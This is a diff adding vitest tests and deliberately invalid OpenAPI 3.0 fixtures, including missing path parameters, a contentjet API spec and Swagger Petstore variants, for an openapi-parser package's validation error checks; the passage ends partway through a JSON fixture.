+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam.test.ts
@@ -0,0 +1,18 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import missingPathParam from './missingPathParam.yaml'
+
+describe.todo('missingPathParam', () => {
+  it('returns an error', async () => {
+    const result = await resolve(missingPathParam)
+
+    // TODO: Swagger Editor
+    //
+    // * Declared path parameter "test2" needs to be defined as a path parameter at either the path or operation level
+    // * Path parameter "test" must have the corresponding {test} segment in the "/test/{test2}" path
+    expect(result.errors?.[0]?.error).toBe(`something something test`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam.yaml
new file mode 100644
index 0000000..81a91f7
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam.yaml
@@ -0,0 +1,18 @@
+openapi: 3.0.0
+info:
+  title: Test invalid missing path parameter
+  version: 1.0.0
+
+paths:
+  '/test/{test2}':
+    get:
+      parameters:
+      - name: test
+        in: path
+        required: true
+        schema:
+          type: string
+      operationId: same
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam2.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam2.test.ts
new file mode 100644
index 0000000..b31f895
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam2.test.ts
@@ -0,0 +1,18 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import missingPathParam2 from './missingPathParam2.yaml'
+
+describe.todo('missingPathParam2', () => {
+  it('returns an error', async () => {
+    const result = await resolve(missingPathParam2)
+
+    // TODO: Swagger Editor
+    //
+    // Semantic error at paths./test/{test}/{test2}
+    // Declared path parameter "test2" needs to be defined as a path parameter at either the path or operation level
+    expect(result.errors?.[0]?.error).toBe(`something something test2`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam2.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam2.yaml
new file mode 100644
index 0000000..d46ed6a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/missingPathParam2.yaml
@@ -0,0 +1,18 @@
+openapi: 3.0.0
+info:
+  title: Test invalid missing path parameter 2
+  version: 1.0.0
+
+paths:
+  '/test/{test}/{test2}':
+    get:
+      parameters:
+      - name: test
+        in: path
+        required: true
+        schema:
+          type: string
+      operationId: same
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-ui/openapi-ui.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-ui/openapi-ui.test.ts
new file mode 100644
index 0000000..96437e5
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-ui/openapi-ui.test.ts
@@ -0,0 +1,19 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../../src'
+import openApiUi from './openapi-ui.yaml'
+
+describe('openapi-ui', () => {
+  it('apiWithExamples', async () => {
+    const result = await resolve(openApiUi)
+
+    // TODO: SwaggerUI has a more helpful error message:
+    //
+    // Structural error at paths./project/{projectUUID}/invite/.get.responses.200
+    // should NOT have additional properties
+    // additionalProperty: schema
+    // …
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-ui/openapi-ui.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-ui/openapi-ui.yaml
new file mode 100644
index 0000000..24a95ec
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-ui/openapi-ui.yaml
@@ -0,0 +1,369 @@
+openapi: 3.0.0
+
+info:
+  title: contentjet
+  version: 1.0.0
+  description: REST API for contentjet.io
+
+externalDocs:
+  description: Hello world
+  url: http://example.com/
+
+servers:
+  - url: https://api.contentjet.io/v1
+
+tags:
+  - name: Project
+  - name: EntryType
+
+paths:
+
+  # Invite
+
+  /project/{projectUUID}/invite/:
+    get:
+      tags:
+        - Invite
+      description: ''
+      responses:
+        '200':
+          description: Returns a list of ProjectInvites.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/ProjectInvite'
+
+    post:
+      tags:
+        - Invite
+      description: ''
+      requestBody:
+        content:
+          application/json:
+            schema:
+              type: object
+              properties:
+                name:
+                  type: string
+                email:
+                  type: string
+      responses:
+        '201':
+          description: Returns a list of ProjectInvites.
+          schema:
+            $ref: '#/components/definitions/ProjectInvite'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+
+  /project/{projectUUID}/invite/{inviteUUID}/:
+    get:
+      tags:
+        - Invite
+      description: ''
+      responses:
+        '200':
+          description: Returns a single ProjectInvite.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/ProjectInvite'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+      - name: inviteUUID
+        required: true
+        in: path
+        type: string
+
+  # Project
+
+  /project/:
+    get:
+      tags:
+        - Project
+      description: ''
+      responses:
+        '200':
+          description: Returns a list of Projects.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/Project'
+    post:
+      description: ''
+      responses:
+        '200':
+          description: Create Project.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/Project'
+
+  /project/{projectUUID}/:
+    get:
+      tags:
+        - Project
+      description: ''
+      responses:
+        '200':
+          description: Returns a single Project.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/Project'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+
+  # EntryType
+
+  /project/{projectUUID}/entry-type/:
+    get:
+      tags:
+        - EntryType
+      description: ''
+      responses:
+        '200':
+          description: A list of EntryTypes.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/EntryType'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+
+  /project/{projectUUID}/entry-type/{entryTypeUUID}/:
+    get:
+      tags:
+        - EntryType
+      description: ''
+      responses:
+        '200':
+          description: Returns a single EntryType.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/EntryType'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+      - name: entryTypeUUID
+        required: true
+        in: path
+        type: string
+
+  # EntryTag
+
+  /project/{projectUUID}/entry-tag/:
+    get:
+      tags:
+        - EntryTag
+      description: ''
+      responses:
+        '200':
+          description: A list of EntryTags.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/EntryTag'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+
+  /project/{projectUUID}/entry-tag/{entryTypeUUID}/:
+    get:
+      tags:
+        - EntryTag
+      description: ''
+      responses:
+        '200':
+          description: Returns a single EntryTag.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/EntryType'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+      - name: entryTypeUUID
+        required: true
+        in: path
+        type: string
+
+  # Entry
+
+  /project/{projectUUID}/entry/:
+    get:
+      tags:
+        - Entry
+      description: ''
+      responses:
+        '200':
+          description: A list of Entries.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/Entry'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+
+  /project/{projectUUID}/entry/{entryUUID}/:
+    get:
+      tags:
+        - Entry
+      description: ''
+      responses:
+        '200':
+          description: Returns a single Entry.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/Entry'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+      - name: entryUUID
+        required: true
+        in: path
+        type: string
+
+  # MediaAsset
+
+  /project/{projectUUID}/media/:
+    get:
+      tags:
+        - MediaAsset
+      description: ''
+      responses:
+        '200':
+          description: Returns a list of MediaAssets.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/MediaAsset'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+
+  /project/{projectUUID}/media/{mediaUUID}/:
+    get:
+      tags:
+        - MediaAsset
+      description: ''
+      responses:
+        '200':
+          description: Returns a single MediaAsset.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/MediaAsset'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+      - name: mediaUUID
+        required: true
+        in: path
+        type: string
+
+  # MediaTag
+
+  /project/{projectUUID}/media-tag/:
+    get:
+      tags:
+        - MediaTag
+      description: ''
+      responses:
+        '200':
+          description: Returns a list of MediaTags.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/MediaTag'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+
+  /project/{projectUUID}/media-tag/{mediaTagUUID}/:
+    get:
+      tags:
+        - MediaTag
+      description: ''
+      responses:
+        '200':
+          description: Returns a single MediaAsset.
+          schema:
+            type: array
+            items:
+              $ref: '#/components/definitions/MediaTag'
+    parameters:
+      - $ref: '#/components/parameters/projectUUID'
+      - name: mediaTagUUID
+        required: true
+        in: path
+        type: string
+
+components:
+  definitions:
+
+    ProjectInvite:
+      type: object
+      properties:
+        uuid:
+          type: string
+        name:
+          type: string
+        email:
+          type: string
+
+    Project:
+      type: object
+      properties:
+        uuid:
+          type: string
+        name:
+          type: string
+
+    EntryType:
+      type: object
+      properties:
+        uuid:
+          type: string
+        name:
+          type: string
+
+    EntryTag:
+      type: object
+      properties:
+        name:
+          type: string
+
+    Entry:
+      type: object
+      properties:
+        uuid:
+          type: string
+        name:
+          type: string
+
+    MediaAsset:
+      type: object
+      properties:
+        uuid:
+          type: string
+        name:
+          type: string
+
+    MediaTag:
+      type: object
+      properties:
+        name:
+          type: string
+
+    User:
+      type: object
+      properties:
+        uuid:
+          type: string
+        name:
+          type: string
+        email:
+          type: string
+
+  parameters:
+
+    projectUUID:
+      name: projectUUID
+      required: true
+      in: path
+      type: string
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-vue/edit1.json b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-vue/edit1.json
new file mode 100644
index 0000000..0c5f681
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-vue/edit1.json
@@ -0,0 +1,952 @@
+{
+   "openapi": "3.0.0",
+   "info": {
+     "description": "This is a sample server Petstore server.  You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/).  For this sample, you can use the api key `special-key` to test the authorization filters.",
+     "version": "1.0.0",
+     "title": "Swagger Petstore",
+     "termsOfService": "http://swagger.io/terms/",
+     "contact": {
+       "email": "apiteam@swagger.io"
+     },
+     "license": {
+       "name": "Apache 2.0",
+       "url": "http://www.apache.org/licenses/LICENSE-2.0.html"
+     }
+   },
+   "servers": [
+     {
+       "url": "http://petstore.swagger.io/v2",
+       "description": "Petstore server"
+     }
+   ],
+   "tags": [
+     {
+       "name": "pet",
+       "description": "Everything about your Pets",
+       "externalDocs": {
+         "description": "Find out more",
+         "url": "http://swagger.io"
+       }
+     },
+     {
+       "name": "store",
+       "description": "Access to Petstore orders"
+     },
+     {
+       "name": "user",
+       "description": "Operations about user",
+       "externalDocs": {
+         "description": "Find out more about our store",
+         "url": "http://swagger.io"
+       }
+     }
+   ],
+   "paths": {
+     "/pet": {
+       "post": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Add a new pet to the store",
+         "description": "",
+         "operationId": "addPet",
+         "requestBody": {
+            "description": "Pet object that needs to be added to the store",
+            "required": true,
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              },
+              "application/xml": {
+                "examples": []
+              }
+            }
+         },
+         "responses": {
+            "405": {
+              "description": "Invalid input"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       },
+       "put": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Update an existing pet",
+         "description": "",
+         "operationId": "updatePet",
+         "requestBody": {
+            "description": "Pet object that needs to be added to the store",
+            "required": true,
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              },
+              "application/xml": {
+                "examples": []
+              }
+            }
+         },
+         "responses": {
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Pet not found"
+            },
+            "405": {
+              "description": "Validation exception"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       }
+     },
+     "/pet/findByStatus": {
+       "get": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Finds Pets by status",
+         "description": "Multiple status values can be provided with comma separated strings",
+         "operationId": "findPetsByStatus",
+         "parameters": [
+            {
+              "name": "status",
+              "in": "query",
+              "description": "Status values that need to be considered for filter",
+              "required": true,
+              "type": "array",
+              "items": {
+                "type": "string",
+                "enum": [
+                  "available",
+                  "pending",
+                  "sold"
+                ],
+                "default": "available"
+              },
+              "collectionFormat": "multi"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "type": "array",
+                "items": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              }
+            },
+            "400": {
+              "description": "Invalid status value"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       }
+     },
+     "/pet/findByTags": {
+       "get": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Finds Pets by tags",
+         "description": "Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.",
+         "operationId": "findPetsByTags",
+         "parameters": [
+            {
+              "name": "tags",
+              "in": "query",
+              "description": "Tags to filter by",
+              "required": true,
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "collectionFormat": "multi"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "type": "array",
+                "items": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              }
+            },
+            "400": {
+              "description": "Invalid tag value"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ],
+         "deprecated": true
+       }
+     },
+     "/pet/{petId}": {
+       "get": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Find pet by ID",
+         "description": "Returns a single pet",
+         "operationId": "getPetById",
+         "parameters": [
+            {
+              "name": "petId",
+              "in": "path",
+              "description": "ID of pet to return",
+              "required": true,
+              "type": "integer",
+              "format": "int64"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/schemas/Pet"
+              }
+            },
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Pet not found"
+            }
+         },
+         "security": [
+            {
+              "api_key": []
+            }
+         ]
+       },
+       "post": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Updates a pet in the store with form data",
+         "description": "",
+         "operationId": "updatePetWithForm",
+         "parameters": [
+            {
+              "name": "petId",
+              "in": "path",
+              "description": "ID of pet that needs to be updated",
+              "required": true,
+              "type": "integer",
+              "format": "int64"
+            },
+            {
+              "name": "name",
+              "in": "formData",
+              "description": "Updated name of the pet",
+              "required": false,
+              "type": "string"
+            },
+            {
+              "name": "status",
+              "in": "formData",
+              "description": "Updated status of the pet",
+              "required": false,
+              "type": "string"
+            }
+         ],
+         "responses": {
+            "405": {
+              "description": "Invalid input"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       },
+       "delete": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Deletes a pet",
+         "description": "",
+         "operationId": "deletePet",
+         "parameters": [
+            {
+              "name": "api_key",
+              "in": "header",
+              "required": false,
+              "type": "string"
+            },
+            {
+              "name": "petId",
+              "in": "path",
+              "description": "Pet id to delete",
+              "required": true,
+              "type": "integer",
+              "format": "int64"
+            }
+         ],
+         "responses": {
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Pet not found"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       }
+     },
+     "/pet/{petId}/uploadImage": {
+       "post": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "uploads an image",
+         "description": "",
+         "operationId": "uploadFile",
+         "parameters": [
+            {
+              "name": "petId",
+              "in": "path",
+              "description": "ID of pet to update",
+              "required": true,
+              "type": "integer",
+              "format": "int64"
+            },
+            {
+              "name": "additionalMetadata",
+              "in": "formData",
+              "description": "Additional data to pass to server",
+              "required": false,
+              "type": "string"
+            },
+            {
+              "name": "file",
+              "in": "formData",
+              "description": "file to upload",
+              "required": false,
+              "type": "file"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/schemas/ApiResponse"
+              }
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       }
+     },
+     "/store/inventory": {
+       "get": {
+         "tags": [
+            "store"
+         ],
+         "summary": "Returns pet inventories by status",
+         "description": "Returns a map of status codes to quantities",
+         "operationId": "getInventory",
+         "parameters": [],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "type": "object",
+                "additionalProperties": {
+                  "type": "integer",
+                  "format": "int32"
+                }
+              }
+            }
+         },
+         "security": [
+            {
+              "api_key": []
+            }
+         ]
+       }
+     },
+     "/store/order": {
+       "post": {
+         "tags": [
+            "store"
+         ],
+         "summary": "Place an order for a pet",
+         "description": "",
+         "operationId": "placeOrder",
+         "parameters": [
+            {
+              "in": "body",
+              "name": "body",
+              "description": "order placed for purchasing the pet",
+              "required": true,
+              "schema": {
+                "$ref": "#/components/schemas/Order"
+              }
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/schemas/Order"
+              }
+            },
+            "400": {
+              "description": "Invalid Order"
+            }
+         }
+       }
+     },
+     "/store/order/{orderId}": {
+       "get": {
+         "tags": [
+            "store"
+         ],
+         "summary": "Find purchase order by ID",
+         "description": "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions",
+         "operationId": "getOrderById",
+         "parameters": [
+            {
+              "name": "orderId",
+              "in": "path",
+              "description": "ID of pet that needs to be fetched",
+              "required": true,
+              "type": "integer",
+              "maximum": 10.0,
+              "minimum": 1.0,
+              "format": "int64"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/schemas/Order"
+              }
+            },
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Order not found"
+            }
+         }
+       },
+       "delete": {
+         "tags": [
+            "store"
+         ],
+         "summary": "Delete purchase order by ID",
+         "description": "For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors",
+         "operationId": "deleteOrder",
+         "parameters": [
+            {
+              "name": "orderId",
+              "in": "path",
+              "description": "ID of the order that needs to be deleted",
+              "required": true,
+              "type": "integer",
+              "minimum": 1.0,
+              "format": "int64"
+            }
+         ],
+         "responses": {
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Order not found"
+            }
+         }
+       }
+     },
+     "/user": {
+       "post": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Create user",
+         "description": "This can only be done by the logged in user.",
+         "operationId": "createUser",
+         "parameters": [
+            {
+              "in": "body",
+              "name": "body",
+              "description": "Created user object",
+              "required": true,
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+         ],
+         "responses": {
+            "default": {
+              "description": "successful operation"
+            }
+         }
+       }
+     },
+     "/user/createWithArray": {
+       "post": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Creates list of users with given input array",
+         "description": "",
+         "operationId": "createUsersWithArrayInput",
+         "parameters": [
+            {
+              "in": "body",
+              "name": "body",
+              "description": "List of user object",
+              "required": true,
+              "schema": {
+                "type": "array",
+                "items": {
+                  "$ref": "#/components/schemas/User"
+                }
+              }
+            }
+         ],
+         "responses": {
+            "default": {
+              "description": "successful operation"
+            }
+         }
+       }
+     },
+     "/user/createWithList": {
+       "post": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Creates list of users with given input array",
+         "description": "",
+         "operationId": "createUsersWithListInput",
+         "parameters": [
+            {
+              "in": "body",
+              "name": "body",
+              "description": "List of user object",
+              "required": true,
+              "schema": {
+                "type": "array",
+                "items": {
+                  "$ref": "#/components/schemas/User"
+                }
+              }
+            }
+         ],
+         "responses": {
+            "default": {
+              "description": "successful operation"
+            }
+         }
+       }
+     },
+     "/user/login": {
+       "get": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Logs user into the system",
+         "description": "",
+         "operationId": "loginUser",
+         "parameters": [
+            {
+              "name": "username",
+              "in": "query",
+              "description": "The user name for login",
+              "required": true,
+              "type": "string"
+            },
+            {
+              "name": "password",
+              "in": "query",
+              "description": "The password for login in clear text",
+              "required": true,
+              "type": "string"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "type": "string"
+              },
+              "headers": {
+                "X-Rate-Limit": {
+                  "type": "integer",
+                  "format": "int32",
+                  "description": "calls per hour allowed by the user"
+                },
+                "X-Expires-After": {
+                  "type": "string",
+                  "format": "date-time",
+                  "description": "date in UTC when token expires"
+                }
+              }
+            },
+            "400": {
+              "description": "Invalid username/password supplied"
+            }
+         }
+       }
+     },
+     "/user/logout": {
+       "get": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Logs out current logged in user session",
+         "description": "",
+         "operationId": "logoutUser",
+         "parameters": [],
+         "responses": {
+            "default": {
+              "description": "successful operation"
+            }
+         }
+       }
+     },
+     "/user/{username}": {
+       "get": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Get user by user name",
+         "description": "",
+         "operationId": "getUserByName",
+         "parameters": [
+            {
+              "name": "username",
+              "in": "path",
+              "description": "The name that needs to be fetched. Use user1 for testing. ",
+              "required": true,
+              "type": "string"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            },
+            "400": {
+              "description": "Invalid username supplied"
+            },
+            "404": {
+              "description": "User not found"
+            }
+         }
+       },
+       "put": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Updated user",
+         "description": "This can only be done by the logged in user.",
+         "operationId": "updateUser",
+         "parameters": [
+            {
+              "name": "username",
+              "in": "path",
+              "description": "name that need to be updated",
+              "required": true,
+              "type": "string"
+            },
+            {
+              "in": "body",
+              "name": "body",
+              "description": "Updated user object",
+              "required": true,
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+         ],
+         "responses": {
+            "400": {
+              "description": "Invalid user supplied"
+            },
+            "404": {
+              "description": "User not found"
+            }
+         }
+       },
+       "delete": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Delete user",
+         "description": "This can only be done by the logged in user.",
+         "operationId": "deleteUser",
+         "parameters": [
+            {
+              "name": "username",
+              "in": "path",
+              "description": "The name that needs to be deleted",
+              "required": true,
+              "type": "string"
+            }
+         ],
+         "responses": {
+            "400": {
+              "description": "Invalid username supplied"
+            },
+            "404": {
+              "description": "User not found"
+            }
+         }
+       }
+     }
+   },
+   "components": {
+     "securityDefinitions": {
+       "petstore_auth": {
+         "type": "oauth2",
+         "authorizationUrl": "http://petstore.swagger.io/oauth/dialog",
+         "flow": "implicit",
+         "scopes": {
+            "write:pets": "modify pets in your account",
+            "read:pets": "read your pets"
+         }
+       },
+       "api_key": {
+         "type": "apiKey",
+         "name": "api_key",
+         "in": "header"
+       }
+     },
+     "schemas": {
+       "Order": {
+         "type": "object",
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "petId": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "quantity": {
+              "type": "integer",
+              "format": "int32"
+            },
+            "shipDate": {
+              "type": "string",
+              "format": "date-time"
+            },
+            "status": {
+              "type": "string",
+              "description": "Order Status",
+              "enum": [
+                "placed",
+                "approved",
+                "delivered"
+              ]
+            },
+            "complete": {
+              "type": "boolean",
+              "default": false
+            }
+         },
+         "xml": {
+            "name": "Order"
+         }
+       },
+       "Category": {
+         "type": "object",
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "name": {
+              "type": "string"
+            }
+         },
+         "xml": {
+            "name": "Category"
+         }
+       },
+       "User": {
+         "type": "object",
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "username": {
+              "type": "string"
+            },
+            "firstName": {
+              "type": "string"
+            },
+            "lastName": {
+              "type": "string"
+            },
+            "email": {
+              "type": "string"
+            },
+            "password": {
+              "type": "string"
+            },
+            "phone": {
+              "type": "string"
+            },
+            "userStatus": {
+              "type": "integer",
+              "format": "int32",
+              "description": "User Status"
+            }
+         },
+         "xml": {
+            "name": "User"
+         }
+       },
+       "Tag": {
+         "type": "object",
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "name": {
+              "type": "string"
+            }
+         },
+         "xml": {
+            "name": "Tag"
+         }
+       },
+       "Pet": {
+         "type": "object",
+         "required": [
+            "name",
+            "photoUrls"
+         ],
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "category": {
+              "$ref": "#/components/schemas/Category"
+            },
+            "name": {
+              "type": "string",
+              "example": "doggie"
+            },
+            "photoUrls": {
+              "type": "array",
+              "xml": {
+                "name": "photoUrl",
+                "wrapped": true
+              },
+              "items": {
+                "type": "string"
+              }
+            },
+            "tags": {
+              "type": "array",
+              "xml": {
+                "name": "tag",
+                "wrapped": true
+              },
+              "items": {
+                "$ref": "#/components/schemas/Tag"
+              }
+            },
+            "status": {
+              "type": "string",
+              "description": "pet status in the store",
+              "enum": [
+                "available",
+                "pending",
+                "sold"
+              ]
+            }
+         },
+         "xml": {
+            "name": "Pet"
+         }
+       },
+       "ApiResponse": {
+         "type": "object",
+         "properties": {
+            "code": {
+              "type": "integer",
+              "format": "int32"
+            },
+            "type": {
+              "type": "string"
+            },
+            "message": {
+              "type": "string"
+            }
+         }
+       }
+     }
+   },
+   "externalDocs": {
+     "description": "Find out more about Swagger",
+     "url": "http://swagger.io"
+   }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-vue/openapi-vue.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-vue/openapi-vue.test.ts
new file mode 100644
index 0000000..2a57630
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-vue/openapi-vue.test.ts
@@ -0,0 +1,30 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../../src'
+import edit1 from './edit1.json'
+import openApiVue from './openapi.json'
+
+describe('openapi-vue', () => {
+  it('openapi', async () => {
+    const result = await resolve(openApiVue)
+
+    // TODO: SwaggerUI has a more helpful error message:
+    //
+    // Semantic error at paths./pet.post.requestBody.content.application/json.schema.$ref
+    // requestBody schema $refs must point to a position where a Schema Object can be legally placed
+    // …
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.valid).toBe(false)
+  })
+
+  it('edit1', async () => {
+    const result = await resolve(edit1)
+
+    // TODO: SwaggerUI has a more helpful error message:
+    //
+    // Structural error at paths./pet.post.requestBody.content.application/xml.examples
+    // should be object
+    expect(result.errors?.[0]?.error).toBe(`must have required property '$ref'`)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-vue/openapi.json b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-vue/openapi.json
new file mode 100644
index 0000000..aba26ea
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/openapi-vue/openapi.json
@@ -0,0 +1,1028 @@
+{
+   "openapi": "3.0.0",
+   "info": {
+     "description": "This is a sample server Petstore server.  You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/).  For this sample, you can use the api key `special-key` to test the authorization filters.",
+     "version": "1.0.0",
+     "title": "Swagger Petstore",
+     "termsOfService": "http://swagger.io/terms/",
+     "contact": {
+       "email": "apiteam@swagger.io"
+     },
+     "license": {
+       "name": "Apache 2.0",
+       "url": "http://www.apache.org/licenses/LICENSE-2.0.html"
+     }
+   },
+   "servers": [
+     {
+       "url": "http://petstore.swagger.io/v2",
+       "description": "Petstore server"
+     }
+   ],
+   "tags": [
+     {
+       "name": "pet",
+       "description": "Everything about your Pets",
+       "externalDocs": {
+         "description": "Find out more",
+         "url": "http://swagger.io"
+       }
+     },
+     {
+       "name": "store",
+       "description": "Access to Petstore orders"
+     },
+     {
+       "name": "user",
+       "description": "Operations about user",
+       "externalDocs": {
+         "description": "Find out more about our store",
+         "url": "http://swagger.io"
+       }
+     }
+   ],
+   "paths": {
+     "/pet": {
+       "post": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Add a new pet to the store",
+         "description": "",
+         "operationId": "addPet",
+         "requestBody": {
+            "description": "Pet object that needs to be added to the store",
+            "required": true,
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/definitions/Pet"
+                }
+              },
+              "application/xml": {
+                "examples": []
